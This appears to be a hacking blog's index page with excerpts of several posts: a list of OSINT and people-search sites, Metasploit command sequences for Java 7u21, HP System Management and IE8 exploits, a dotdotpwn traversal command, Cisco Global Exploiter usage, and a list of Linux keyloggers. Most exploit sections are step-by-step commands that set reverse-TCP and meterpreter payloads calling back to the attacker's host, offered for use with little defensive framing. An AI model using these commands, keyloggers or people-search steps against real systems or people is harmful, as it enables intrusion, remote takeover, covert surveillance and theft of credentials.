Information Gathering using Public Resources

On the Internet, there are several public resources that can be used to collect

information regarding a target domain. The benefit of using these resources is that we don't generate network traffic to the target domain directly, so the target domain may not know about our activities. 

Following are the resources that can be use

(1)http://www.archive.org :-Contains an archive of websites. 

(2)http://www.domaintools.com:-Domain name intelligence. 

(3)http://serversniff.net:-Free "Swiss Army Knife" for networking,

serverchecks, and routing 

(4)http://centralops.net:-Free online network utilities: domain, e-mail,

browser, ping, traceroute, Whois, and so on. 

(5)http://www.robtex.com:- Allows you to search for domain and network

information. 

(6)http://www.pipl.com:-Allows you to search people on the Internet by first

and last name, city, state, and country. 

(7)http://yoname.com :-Allows you to search for people across social

networking sites and blogs. 

(8)http://wink.com:-Free search engine to find people by name, phone

number, e-mail, website, photo, and so on. 

(9)http://www.isearch.com:- Free search engine to find people by name, phone

number, and e-mail address. 

(10)http://www.tineye.com:- TinEye is a reverse image search engine. We can use

TinEye to find out where the image came from, how it is being used, if modified versions of the image exist, or to find higher resolution versions. 

(11)http://www.sec.gov/edgar.shtml :- To search for information regarding public listed companies in Securities and Exchange Commission.

Read More

Exploit for Java version 7u21 and earlier

Java Applet ProviderSkeleton Insecure Invoke Method:-

This module abuses the insecure invoke() method of the ProviderSkeleton class that allows to call arbitrary static methods with user supplied arguments. The vulnerability affects Java version 7u21 and earlier.

Exploit Targets

    0 - Generic (Java Payload) (default)
    1 - Windows x86 (Native Payload)
    2 - Mac OS X x86 (Native Payload)
    3 - Linux x86 (Native Payload)

$ msfconsole
msf > use exploit/multi/browser/java_jre17_provider_skeleton
msf exploit(java_jre17_provider_skeleton) > show payloads
msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_jre17_provider_skeleton) > set LHOST [MY IP ADDRESS]
msf exploit(java_jre17_provider_skeleton) > exploit

Read More

How to exploit Directory traversal vulnerability?

Backtrack has lots of tools for web-application testing. Directory traversal is one of the critical vulnerability in web-application. Previously i post about what is directory traversal & how to bypass its filter , but that process is manual, it can consume lots of time.But in bactrack automatic tools are available for this test which is DOTDOTPWN.

If you are on other distro , then you can download it form here.

It's a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers, Web platforms such as CMSs, ERPs, Blogs, etc.

Also, it has a protocol-independent module to send the desired payload to the host and port specified. On the other hand, it also could be used in a scripting way using the STDOUT module.

It's written in perl programming language and can be run either under *NIX or Windows platforms. It's the first Mexican tool included in BackTrack Linux .

Fuzzing modules supported in this version:

- HTTP

- HTTP URL

- FTP

- TFTP

- Payload (Protocol independent)

- STDOUT

./dotdotpwn.pl -m  http-url -S -u https://localhost/mutillidae/index.php?page=TRAVERSAL -k root -o unix   

In below figure; you can see vulnerable URL where directory traversal is applicable.

Read More

Exploit HP sytem managment

 There are two modules available for exploitation of hp system management.

(1)HP System Management Anonymous Access Code Execution

This module exploits an anonymous remote code execution on HP System Management 7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on a request against /proxy/DataValidation. In order to work HP System Management must be configured with Anonymous access enabled.


Exploit Targets

    0 - HP System Management 7.1.1 - Linux (CentOS) (default)
    1 - HP System Management 6.3.0 - Linux (CentOS)

msfconsole
msf > use exploit/linux/http/hp_system_management
msf exploit(hp_system_management) > show payloads
msf exploit(hp_system_management) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(hp_system_management) > set LHOST [MY IP ADDRESS]
msf exploit(hp_system_management) > set RHOST [TARGET IP]
msf exploit(hp_system_management) > exploit

(2)HP System Management Homepage JustGetSNMPQueue Command Injection

This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM

Exploit Targets

    0 - Windows (default)

msfconsole
msf > use exploit/windows/http/hp_sys_mgmt_exec
msf exploit(hp_sys_mgmt_exec) > show payloads
msf exploit(hp_sys_mgmt_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(hp_sys_mgmt_exec) > set LHOST [MY IP ADDRESS]
msf exploit(hp_sys_mgmt_exec) > set RHOST [TARGET IP]
msf exploit(hp_sys_mgmt_exec) > exploit

Read More

CIsco Global Exploter

Cisco Global Exploiter (CGE), is an advanced, simple and fast security testing tool/ exploit engine, that is able to exploit 14 vulnerabilities in disparate Cisco switches and routers.  CGE is command-line driven perl script which has a simple and easy to use front-end.

Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability

Download from here

Use:-

perl cge.pl <target> <vulnerability number>

Read More

List of Linux Key loggers

(1)LKL:-

LKL is a user space keylogger that runs under linux--x86/arch. LKL sniffs and logs everything passes trought the hardware keyboard port (0x60).

Download From here

(2)Log Key:-

logkeys is a linux keylogger. It is no more advanced than other available linux

keyloggers, notably lkl and uberkey, but is a bit newer, more up to date, it doesn't unreliably repeat keys and it shouldn't crash your X. All in all, it just seems to work. It relies on event interface of the Linux input subsystem.

Once completely set, it logs all common character and function keys, while also

being fully aware of Shift and Altr key modifiers.

Download from here

(3)Ttypld:-

ttyrpld is a kit to log any traffic and actions which go through any of your Kernel's tty

devices. In common-term language, this is a Keylogger

Download from here

(4)uber key :-

Download link

(5)Vlogger:-

Download link

(6)Simple keylogger Python script:-

Download here

If you are free & want to learn how keyboard driver works in linux kernal , I would recommended you to read from following link .

http://thc.org/papers/writing-linux-kernel-keylogger.txt

Also read this article which is quite interesting.http://theinvisiblethings.blogspot.in/2011/04/linux-security-circus-on-gui-isolation.html

Read More

Exploit 0Day vulnerability in Internet Exploit 8

Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) Website.

Exploit Targets

    0 - Automatic (default)
    1 - IE 8 on Windows XP SP3
    2 - IE 8 on Windows Vista
    3 - IE 8 on Windows Server 2003
    4 - IE 8 on Windows 7

msf > use exploit/windows/browser/ie_cgenericelement_uaf
msf exploit(ie_cgenericelement_uaf) > show payloads
msf exploit(ie_cgenericelement_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cgenericelement_uaf) > set LHOST [MY IP ADDRESS]
msf exploit(ie_cgenericelement_uaf) > exploit

Read More